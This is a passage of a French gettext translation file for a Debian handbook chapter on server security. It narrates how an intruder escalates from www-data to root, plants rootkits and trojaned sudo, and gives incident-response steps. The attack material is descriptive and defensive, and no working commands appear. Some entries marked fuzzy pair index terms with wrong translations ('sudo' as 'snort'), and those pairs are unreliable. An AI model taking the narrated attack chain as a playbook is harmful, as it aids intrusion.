peuvent en être les conséquences." msgid "QUICK LOOK Filtering HTTP queries" msgstr "DÉCOUVERTE Filtrer les requêtes HTTP" #, fuzzy #| msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time." msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time." msgstr "Il existe des modules pour Apache 2 qui permettent de filtrer les requêtes HTTP entrantes. Il est ainsi possible de bloquer certains vecteurs d'attaques : empêcher les dépassements de tampon en limitant la longueur de certains paramètres, par exemple. D'une manière générale, il est possible de valider en amont les paramètres envoyés à une application web et de restreindre l'accès à celle-ci selon de nombreux critères. Il est même possible de combiner cela avec une modification dynamique du pare-feu pour bloquer pendant quelques minutes un utilisateur ayant enfreint une des règles mises en place." msgid "Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned." msgstr "Ces vérifications sont pénibles à mettre en place, mais elles s'avèrent assez efficaces si l'on est contraint de déployer une application web à la sécurité incertaine." msgid "mod-security2 (in the libapache2-mod-security2 package) is the main such module. It even comes with many ready-to-use rules of its own (in the modsecurity-crs package) that you can easily enable." msgstr "mod-security2 (paquet libapache2-mod-security2) est le principal module qui peut être employé dans cette optique. Il est accompagné de nombreuses règles prêtes à l'emploi et simples à installer (dans le paquet modsecurity-crs package)." #, fuzzy #| msgid "logsdisplay" msgid "Apachemod-security2" msgstr "logsaffichage" #, fuzzy #| msgid "libapache-mod-security" msgid "libapache2-mod-security2" msgstr "libapache-mod-security" #, fuzzy #| msgid "checksecurity" msgid "modsecurity-crs" msgstr "checksecurity" #, fuzzy #| msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. Script-kiddies only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines." msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines." msgstr "Selon l'intention du pirate, son intrusion sera plus ou moins évidente. Les script-kiddies se contentent d'appliquer les recettes toutes prêtes qu'ils trouvent sur des sites web. Le vandalisme d'une page web ou la suppression des données sont les issues les plus probables. Parfois, c'est plus subtil et ils ajoutent du contenu invisible dans les pages web afin d'améliorer le référencement de certains de leurs sites." msgid "A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the www-data user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a wget command that will download some malware into /tmp/, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack." msgstr "Un pirate plus avancé ne se contentera pas de ce maigre résultat. Un scénario catastrophe pourrait se poursuivre comme suit : le pirate a obtenu la possibilité d'exécuter des commandes en tant qu'utilisateur www-data, mais cela requiert de nombreuses manipulations pour chaque commande. Il va chercher à se faciliter la vie en installant d'autres applications web précisément développées pour exécuter à distance toutes sortes de commandes : naviguer dans l'arborescence, analyser les droits, télécharger des fichiers, en déposer, exécuter des commandes et, le summum, mettre à disposition un interpréteur de commandes par le réseau. Très fréquemment, la faille lui permettra de lancer un wget qui va télécharger un programme malfaisant dans /tmp/ et il l'exécutera dans la foulée. Le programme sera téléchargé depuis un serveur étranger qui, lui aussi, a été compromis, l'intérêt étant de brouiller les pistes si jamais l'on voulait remonter à l'origine de l'attaque." msgid "At this point, the attacker has enough freedom of movement that they often install an IRC bot (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The www-data account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access." msgstr "À ce stade, l'attaquant a tellement de liberté qu'il installe souvent un bot IRC (un robot qui se connecte à un serveur IRC et qui peut être commandé par ce biais). Il sert souvent à échanger des fichiers illégaux (films et logiciels piratés, etc.). Un pirate déterminé peut vouloir aller encore plus loin. Le compte www-data ne permet pas de profiter pleinement de la machine ; il va donc chercher à obtenir les privilèges de l'administrateur. C'est théoriquement impossible, mais si l'application web n'était pas à jour, il est probable que le noyau ou un autre programme ne le soit pas non plus. D'ailleurs, l'administrateur avait bien vu passer l'annonce d'une vulnérabilité, mais puisque cela n'était exploitable que localement et que le serveur n'avait pas d'utilisateur local, il n'a pas pris soin de mettre à jour. L'attaquant profite donc de cette deuxième faille pour obtenir un accès root." msgid "VOCABULARY Privilege escalation" msgstr "VOCABULAIRE Élévation des privilèges" #, fuzzy #| msgid "monitoringlog files" msgid "permissionsprivilege escalation" msgstr "surveillancedes logs" #, fuzzy #| msgid "snort" msgid "sudo" msgstr "snort" msgid "This term covers anything that can be used to obtain more permissions than a given user should normally have. The sudo program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights." msgstr "Cette technique consiste à obtenir plus de droits qu'un utilisateur n'en a normalement. Le programme sudo est prévu pour cela : donner les droits d'administrateur à certains utilisateurs. On emploie aussi la même expression pour désigner l'action d'un pirate qui exploite une faille pour obtenir des droits qu'il ne possède pas. En anglais, l'expression est privilege escalation." #, fuzzy #| msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time; the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on." msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time (see also ); the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on." msgstr "Maintenant qu'il règne en maître sur la machine, il va essayer de garder cet accès privilégié aussi longtemps que possible. Il va installer un rootkit : il s'agit d'un programme qui va remplacer certains composants du système afin de ré-obtenir facilement les privilèges d'administrateur et qui va tenter de dissimuler son existence, ainsi que les traces de l'intrusion. Le programme ps omettra certains processus, le programme netstat ne mentionnera pas certaines connexions actives, etc. Grâce aux droits root, l'attaquant a pu analyser tout le système, mais il n'a pas trouvé de données importantes. Il va alors essayer d'accéder à d'autres machines du réseau de l'entreprise. Il analyse le compte de l'administrateur local et consulte les fichiers d'historique pour retrouver les machines auxquelles l'administrateur s'est connecté. Il peut remplacer sudo par une version modifiée qui enregistre (et lui fait parvenir) le mot de passe saisi. La prochaine fois que l'administrateur viendra effectuer une opération sur ce serveur, le pirate obtiendra son mot de passe et pourra librement l'essayer sur les serveurs détectés." msgid "This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures." msgstr "Pour éviter d'en arriver là, il y a de nombreuses mesures à prendre. Les prochaines sections s'attacheront à en présenter quelques-unes." msgid "Choosing the Software Wisely" msgstr "Bien choisir les logiciels" #, fuzzy #| msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as SecurityFocus.com, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit." msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit." msgstr "Une fois sensibilisé aux problèmes potentiels de sécurité, il faut y faire attention à toutes les étapes de la mise en place d'un service et en premier lieu, lors du choix du logiciel à installer. De nombreux sites comme SecurityFocus.com recensent les vulnérabilités découvertes et on peut ainsi se faire une idée de la sûreté d'un logiciel avant de le déployer. Il faut évidemment mettre en balance cette information avec la popularité dudit logiciel : plus nombreux sont ses utilisateurs, plus il constitue une cible intéressante et plus il sera scruté de près. Au contraire, un logiciel anodin peut être truffé de trous de sécurité, mais comme personne ne l'utilise, aucun audit de sécurité n'aura été réalisé." msgid "VOCABULARY Security audit" msgstr "VOCABULAIRE Audit de sécurité" #, fuzzy #| msgid "packetIP" msgid "securityaudit" msgstr "paquetIP" msgid "A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements." msgstr "Un audit de sécurité est une lecture et une analyse du code source afin de trouver toutes les failles de sécurité qu'il pourrait contenir. Un audit est souvent préventif ; il est réalisé pour s'assurer que le programme est conforme à certaines exigences de sécurité." #, fuzzy #| msgid "In the Free Software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements." msgid "In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements." msgstr "Le monde du logiciel libre offre souvent le choix. Il faut prendre le temps de bien choisir en fonction de ses critères propres. Plus un logiciel dispose de fonctionnalités intégrées, plus le risque est grand qu'une faille se cache quelque part dans le code. Il ne sert donc à rien de retenir systématiquement le logiciel le plus avancé ; il vaut souvent mieux privilégier le logiciel le plus simple qui répond à tous les besoins exprimés." msgid "VOCABULARY Zero-day exploit" msgstr "VOCABULAIRE Zero day exploit" msgid "A zero-day exploit attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program." msgstr "Une attaque de type zero day exploit est imparable. Il s'agit d'une attaque utilisant une faille qui n'est pas encore connue des auteurs du logiciel." msgid "Managing a Machine as a Whole" msgstr "Gérer une machine dans son ensemble" msgid "Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine." msgstr "La plupart des distributions Linux installent en standard un certain nombre de services Unix ainsi que de nombreux utilitaires. Dans bien des cas, ils ne sont pas nécessaires au bon fonctionnement des services que l'administrateur met en place sur la machine. Comme bien souvent en sécurité, il vaut mieux supprimer tout ce qui n'est pas nécessaire. En effet, cela ne sert à rien de s'appuyer sur un serveur FTP sécurisé si une faille dans un service inutilisé fournit un accès administrateur à la machine." msgid "By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible." msgstr "C'est la même logique qui incite à configurer un pare-feu n'autorisant l'accès qu'aux services qui doivent être accessibles au public." msgid "Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions)." msgstr "Les capacités des ordinateurs permettent facilement d'héberger plusieurs services sur une même machine. Ce choix se justifie économiquement : un seul ordinateur à administrer, moins d'énergie consommée, etc. Mais du point de vue de la sécurité, ce choix est plutôt gênant. La compromission d'un service entraîne souvent l'accès à la machine complète et donc aux données des autres services hébergés sur le même ordinateur. Pour limiter les risques de ce point de vue, il est intéressant d'isoler les différents services. Cela peut se faire soit avec de la virtualisation, chaque service étant hébergé sur une machine virtuelle ou un conteneur dédié, soit avec AppArmor/SELinux, en paramétrant les droits associés au démon (programme serveur) en charge de chaque service." msgid "Users Are Players" msgstr "Les utilisateurs sont des acteurs" msgid "Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on." msgstr "Lorsqu'on parle de sécurité, on pense immédiatement à la protection contre les attaques des pirates anonymes qui se camouflent dans l'immensité d'Internet. On oublie trop souvent que les risques proviennent aussi de l'intérieur : un employé en instance de licenciement qui télécharge des dossiers sur les projets les plus importants et qui les propose à la concurrence, un commercial négligent qui reste connecté pendant qu'il s'absente alors qu'il reçoit un nouveau prospect, un utilisateur maladroit qui a supprimé le mauvais répertoire par erreur, etc." msgid "The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks." msgstr "La réponse à ces problématiques passe parfois par de la technique : il ne faut pas donner plus que les accès nécessaires et il convient d'avoir des sauvegardes régulières. Mais dans la plupart des cas, il s'agit avant tout de prévention en formant les utilisateurs afin qu'ils puissent mieux éviter les risques." msgid "QUICK LOOK autolog" msgstr "DÉCOUVERTE autolog" #, fuzzy #| msgid "checksecurity" msgid "autolog" msgstr "checksecurity" msgid "The autolog package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons." msgstr "Le paquet autolog fournit un logiciel déconnectant automatiquement les utilisateurs inactifs (après un délai configurable). Il tue aussi les processus utilisateurs qui persistent après la déconnexion de ces derniers (en les empêchant ainsi d'avoir leurs propres démons)." msgid "Physical Security" msgstr "Sécurité physique" msgid "There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated." msgstr "Il ne sert à rien de sécuriser l'ensemble de vos services si les ordinateurs sous-jacents ne sont pas eux-mêmes protégés. Il est probablement judicieux que les données les plus importantes soient stockées sur des disques en RAID que l'on peut remplacer à chaud, parce que justement on tient à garantir leur préservation malgré la faillibilité des disques. Mais il serait regrettable qu'un livreur de pizza puisse s'introduire dans le bâtiment et faire un saut dans la salle des serveurs pour emmener les quelques disques... Qui a accès à la salle des machines ? Y a-t-il une surveillance des accès ? Voilà quelques exemples de questions qu'il faut se poser lorsque l'on considère le problème de la sécurité physique." msgid "Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox." msgstr "On peut aussi inclure sous cette bannière la prise en compte des risques d'accidents tels que les incendies. C'est ce risque qui justifie que les sauvegardes soient stockées dans un autre bâtiment ou du moins dans un coffre ignifugé." msgid "Legal Liability" msgstr "Responsabilité juridique" msgid "An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit." msgstr "En tant qu'administrateur, vous bénéficiez, implicitement ou non, de la confiance des utilisateurs ainsi que des autres usagers du réseau. Évitez toute négligence dont des malfaisants sauraient profiter ." #, fuzzy #| msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant nevertheless. In other cases, more important trouble can be caused from your machine, for instance denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine." msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine." msgstr "Un pirate prenant le contrôle de votre machine, puis l'employant comme une sorte de base avancée (on parle de système relais) afin de commettre un méfait, pourrait vous causer de l'embarras puisque des tiers verront en vous, d'emblée, le pirate ou son complice. Dans le cas le plus fréquent, le pirate emploiera votre machine afin d'expédier du spam, ce qui n'aura vraisemblablement pas d'impact majeur (hormis des inscriptions éventuelles sur des listes noires qui limiteraient votre capacité à expédier des messages) mais n'enthousiasmera personne. Dans d'autres cas, des exactions seront commises grâce à votre machine, par exemple des attaques par déni de service. Elles induiront parfois un manque à gagner, car rendront indisponibles des services logiciels ou détruiront des données, voire un coût, parce qu'une entité s'estimant lésée intentera une action en justice (la détentrice des droits de diffusion d'une œuvre indûment mise à disposition via votre machine, ou encore une entreprise engagée à maintenir une disponibilité donnée via un contrat de qualité de service (SLA-SLM) et se voyant contrainte d'acquitter des pénalités à cause du piratage)." msgid "When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks." msgstr "Vous souhaiterez alors étayer vos protestations d'innocence en produisant des éléments probants montrant l'activité douteuse menée sur votre système par des tiers employant une adresse IP donnée. Cela restera impossible si, imprudemment, vous négligez les recommandations de ce chapitre et laissez le pirate disposer facilement d'un compte privilégié (en particulier le compte root) grâce auquel il effacera ses propres traces." msgid "Dealing with a Compromised Machine" msgstr "En cas de piratage" msgid "Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances." msgstr "Malgré toute la bonne volonté et tout le soin apporté à la politique de sécurité, tout administrateur informatique est tôt ou tard confronté à un acte de piratage. Cette section donne des lignes directrices pour bien réagir face à ces fâcheux événements." msgid "Detecting and Seeing the Cracker's Intrusion" msgstr "Détecter et constater le piratage" msgid "The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure." msgstr "Avant de pouvoir agir face à un piratage, il faut se rendre compte que l'on est effectivement victime d'un tel acte. Ce n'est pas toujours le cas... surtout si l'on ne dispose pas d'une infrastructure de supervision adéquate." #, fuzzy #| msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:" msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:" msgstr "Les actes de piratage sont souvent détectés lorsqu'ils ont des conséquences directes sur les services légitimes hébergés sur la machine : la lenteur soudaine de la connexion, l'impossibilité de se connecter pour certains utilisateurs ou tout autre dysfonctionnement. Face à ces problèmes, l'administrateur est obligé de se pencher sur la machine et d'étudier de plus près ce qui ne tourne pas rond. C'est à ce moment qu'il va découvrir la présence d'un processus inhabituel, nommé par exemple apache au lieu du /usr/sbin/apache2 habituel. Alerté par ce détail, il note le numéro du processus et consulte /proc/pid/exe pour savoir quel programme se cache derrière ce processus :" msgid "/proc/proc/pid/exe" msgstr "" #, fuzzy #| msgid "" #| "\n" #| "# ls -al /proc/3719/exe\n" #| "lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n" #| " " msgid "" "\n" "# ls -al /proc/3719/exe\n" "lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n" "" msgstr "" "\n" "# ls -al /proc/3719/exe\n" "lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n" " " msgid "A program installed under /var/tmp/ and running as the web server? No doubt left, the machine is compromised." msgstr "Un programme installé dans /var/tmp/ sous l'identité du serveur web ! Plus de doutes possibles, il y a eu piratage." msgid "This is only one example, but many other hints can ring the administrator's bell:" msgstr "Il s'agit là d'un simple exemple. De nombreux autres indices peuvent mettre en alerte un administrateur :" msgid "an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to dpkg;" msgstr "une option d'une commande qui ne fonctionne plus (il vérifie alors la version du logiciel et elle ne correspond pas à celle installée d'après dpkg) ;" msgid "a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;" msgstr "une invite de connexion qui indique que la dernière connexion réussie est en provenance d'une machine roumaine ;" msgid "errors caused by the /tmp/ partition being full, which turned out to be full of illegal copies of movies;" msgstr "une partition /tmp/ pleine (entraînant des erreurs) qui s'avère contenir des films pirates ;" msgid "and so on." msgstr "etc." msgid "Putting the Server Off-Line" msgstr "Mettre le serveur hors ligne" msgid "In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet." msgstr "Dans l'immense majorité des cas, l'intrusion provient du réseau et la disponibilité du réseau est essentielle à l'attaquant pour atteindre ses objectifs (récupérer des données confidentielles, échanger des fichiers illégaux, masquer son identité en employant la machine comme relais intermédiaire…). Débrancher l'ordinateur du réseau empêchera l'attaquant d'arriver à ses fins au cas où il n'en aurait pas encore eu le temps." #, fuzzy #| msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see , and ), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines." msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see , and ), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines." msgstr "Ceci n'est possible que si l'on dispose d'un accès physique au serveur. Si ce n'est pas le cas (par exemple parce que le serveur est hébergé à l'autre bout du pays chez un prestataire d'hébergement), il peut être plus judicieux de commencer par récolter quelques informations importantes (voir , et ), puis d'isoler autant que possible le serveur en stoppant le maximum de services (c'est-à-dire tout sauf sshd). Cette situation n'est pas recommandable car il est impossible de s'assurer que l'attaquant ne profite pas (comme l'administrateur) d'un accès via SSH. Il est difficile dans ces conditions de « nettoyer » la machine." msgid "Keeping Everything that Could Be Used as Evidence" msgstr "Préserver tout ce qui peut constituer une preuve" msgid "Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice." msgstr "Si l'on veut comprendre ce qui s'est passé et/ou si l'on veut pouvoir poursuivre les assaillants, il faut conserver une copie de tous les éléments importants : notamment le contenu du disque dur, la liste des processus en cours d'exécution et la liste des connexions ouvertes. Le contenu de la mémoire vive pourrait aussi être intéressant, mais il est assez rare que l'on exploite cette information." msgid "In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (netstat -tupan for network connections, ps auxf for a list of processes, ls -alR /proc/[0-9]* for a little more information on running programs), and every performed check should carefully be written down." msgstr "Le stress du moment incite souvent les administrateurs à vérifier beaucoup de choses sur l'ordinateur incriminé, mais c'est une très mauvaise idée. Chaque commande exécutée est susceptible d'effacer des éléments de preuve. Il faut se contenter du minimum (netstat -tupan pour les connexions réseau, ps auxf pour la liste des processus, ls -alR /proc/[0-9]* pour quelques informations supplémentaires sur les programmes en cours d'exécution) et noter systématiquement ce que l'on fait." msgid "CAUTION Hot analysis" msgstr "ATTENTION Analyse à chaud" #, fuzzy #| msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It's quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!" msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!" msgstr "La tentation est grande d'analyser à chaud un système, surtout lorsque l'on n'a pas d'accès physique au serveur. Cette opération n'est pas souhaitable, tout simplement parce que vous ne pouvez pas faire confiance aux programmes installés sur la machine compromise : il se peut que ps n'affiche pas tous les processus, que ls dissimule des fichiers, voire que le noyau en fasse de même !" msgid "If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised." msgstr "Si malgré tout une telle analyse doit être conduite, il convient d'employer des programmes que l'on sait être corrects. Il est possible d'avoir un CD-Rom de secours contenant des programmes sains, voire un partage réseau (en lecture seule). Toutefois, si le noyau est compromis, mêmes ces mesures ne seront pas forcément suffisantes." msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled." msgstr "Une fois sauvegardés les éléments « dynamiques » les plus importants, il faut réaliser une image fidèle du disque complet. Il est impossible de réaliser une telle image si le système de fichiers évolue encore. Il faut donc le remonter en lecture seule (read-only). Le plus simple est souvent de stopper le serveur (brutalement, après un sync) et de le démarrer sur un CD-Rom de secours. Une image de chaque partition peut alors être réalisée à l'aide du programme dd. Ces images peuvent être stockées sur un autre serveur (l'utilitaire nc est alors très pratique pour envoyer les données générées par dd d'une machine à une autre). Une autre solution, beaucoup plus simple, est de sortir le disque de la machine et de le remplacer par un neuf prêt à être réinstallé." msgid "Re-installing" msgstr "Réinstaller" # TODO: INTEGRATE ALTERNATE STRING: porte dérobée msgid "backdoor" msgstr "backdoor" msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates." msgstr "Avant de remettre le serveur en ligne, il est indispensable de le réinstaller complètement. En effet, si la compromission était sévère (obtention des privilèges administrateur), il est presque impossible d'être certain d'avoir éliminé tout ce que l'attaquant a pu laisser derrière lui (portes dérobées notamment, backdoors en anglais). Une réinstallation complète apportera cette certitude. Bien entendu, il faut également installer toutes les dernières mises à jour de sécurité afin de colmater la brèche que l'attaquant a réussi à exploiter. Idéalement, l'analyse de l'attaque aura mis en lumière la faille et il sera possible de la corriger avec certitude (au lieu de simplement espérer que les mises à jour de sécurité seront suffisantes)." #, fuzzy #| msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media." msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media." msgstr "Pour un serveur distant, réinstaller n'est pas forcément évident à réaliser. Il faudra souvent le concours de l'hébergeur car tous ne 